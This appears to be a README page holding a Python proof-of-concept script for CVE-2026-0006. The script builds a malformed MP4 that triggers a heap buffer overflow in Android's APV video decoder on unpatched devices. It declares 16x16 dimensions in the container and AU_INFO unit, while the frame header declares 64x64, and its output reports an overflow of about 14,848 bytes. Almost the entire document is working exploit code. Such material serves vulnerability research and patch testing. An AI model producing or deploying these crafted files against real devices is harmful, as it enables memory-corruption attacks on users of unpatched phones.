README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-0006 Exploit MP4 Generator
Creates an MP4 that triggers a heap buffer overflow in Android's APV decoder
(C2SoftApvDec / libopenapv) on pre-March 2026 patch levels.
Attack: AU_INFO PBU declares 16x16 → oapvd_info reports 16x16 → small buffers.
FRAME PBU header declares 64x64 → oapvd_decode writes 64x64 → overflow.
Prerequisites:
1. valid.apv in the same directory (64x64 YUV422 10-bit APV bitstream)
2. apv-mp4/valid_ffmpeg.mp4 baseline created by ffmpeg:
ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4
Usage:
python3 generate_overflow_mp4.py
"""
import os
import struct
import sys
script_dir = os.path.dirname(os.path.abspath(__file__))
apv_path = os.path.join(script_dir, 'valid.apv')
baseline_mp4 = os.path.join(script_dir, 'apv-mp4', 'valid_ffmpeg.mp4')
output_mp4 = os.path.join(script_dir, 'apv-mp4', 'overflow_auinfo.mp4')
if not os.path.exists(apv_path):
print(f"Error: {apv_path} not found", file=sys.stderr)
sys.exit(1)
if not os.path.exists(baseline_mp4):
print(f"Error: {baseline_mp4} not found", file=sys.stderr)
print(f"Create it first: ffmpeg -f apv -i valid.apv -c copy -y {baseline_mp4}", file=sys.stderr)
sys.exit(1)
with open(apv_path, 'rb') as f:
apv = f.read()
original_pbu_data = apv[4:] # strip AU_SIZE (333 bytes of PBU)
# Build AU_INFO PBU (type 65) claiming 16x16
au_info_payload = b''
au_info_payload += struct.pack('>H', 1) # num_frames = 1
au_info_payload += bytes([0x01]) # pbu_type = PRIMARY_FRAME
au_info_payload += struct.pack('>H', 1) # group_id = 1
au_info_payload += bytes([0x00]) # reserved
au_info_payload += bytes([0x21]) # profile_idc
au_info_payload += bytes([0x7B]) # level_idc
au_info_payload += bytes([0x40]) # band_idc(3)=010 + reserved(5)
au_info_payload += bytes([0x00, 0x00, 0x10]) # frame_width = 16
au_info_payload += bytes([0x00, 0x00, 0x10]) # frame_height = 16
au_info_payload += bytes([0x22]) # chroma_format_idc=2 + bit_depth=2
au_info_payload += bytes([0x00]) # capture_time_distance
au_info_payload += bytes([0x00]) # reserved
au_info_payload += bytes([0x00]) # trailing reserved
pbu_header = bytes([65, 0x00, 0x00, 0x00]) # type=65(AU_INFO), group_id=0, reserved=0
pbu_size = len(pbu_header) + len(au_info_payload)
au_info_pbu = struct.pack('>I', pbu_size) + pbu_header + au_info_payload
all_pbu_data = au_info_pbu + original_pbu_data
au_payload_with_sig = b'aPv1' + all_pbu_data
new_au_size = len(au_payload_with_sig)
mdat_data = struct.pack('>I', new_au_size) + au_payload_with_sig
with open(baseline_mp4, 'rb') as f:
mp4 = bytearray(f.read())
# Patch apvC dimensions to 16x16
apvc_off = mp4.index(b'apvC')
rec_base = apvc_off + 4
struct.pack_into('>I', mp4, rec_base + 12, 16)
struct.pack_into('>I', mp4, rec_base + 16, 16)
print("apvC patched to 16x16")
# Patch apv1 visual sample entry dimensions to 16x16
apv1_off = mp4.index(b'apv1')
vse_w_off = apv1_off + 4 + 6 + 2 + 16
struct.pack_into('>H', mp4, vse_w_off, 16)
struct.pack_into('>H', mp4, vse_w_off + 2, 16)
print("apv1 VSE patched to 16x16")
# Patch tkhd dimensions to 16x16
tkhd_off = mp4.index(b'tkhd')
tkhd_size = struct.unpack('>I', mp4[tkhd_off-4:tkhd_off])[0]
tkhd_end = tkhd_off - 4 + tkhd_size
struct.pack_into('>I', mp4, tkhd_end - 8, 16 << 16)
struct.pack_into('>I', mp4, tkhd_end - 4, 16 << 16)
print("tkhd patched to 16x16")
# Replace mdat with crafted payload
mdat_tag_off = mp4.index(b'mdat')
mdat_box_start = mdat_tag_off - 4
old_mdat_size = struct.unpack('>I', mp4[mdat_box_start:mdat_box_start+4])[0]
new_mdat_box = struct.pack('>I', 8 + len(mdat_data)) + b'mdat' + mdat_data
new_mp4 = bytearray(mp4[:mdat_box_start]) + new_mdat_box + mp4[mdat_box_start+old_mdat_size:]
# Update stsz sample size
stsz_off = new_mp4.index(b'stsz')
stsz_sample_size = struct.unpack('>I', new_mp4[stsz_off+8:stsz_off+12])[0]
if stsz_sample_size != 0:
struct.pack_into('>I', new_mp4, stsz_off + 8, len(mdat_data))
else:
struct.pack_into('>I', new_mp4, stsz_off + 16, len(mdat_data))
print(f"stsz updated: sample_size={len(mdat_data)}")
# Update stco chunk offset
stco_off = new_mp4.index(b'stco')
new_chunk_offset = mdat_box_start + 8
struct.pack_into('>I', new_mp4, stco_off + 12, new_chunk_offset)
print(f"stco updated: chunk_offset={new_chunk_offset}")
with open(output_mp4, 'wb') as f:
f.write(new_mp4)
print(f"\nWritten {len(new_mp4)} bytes to {output_mp4}")
print(f"Container + AU_INFO: 16x16 | FRAME PBU: 64x64 | Overflow: ~14,848 bytes")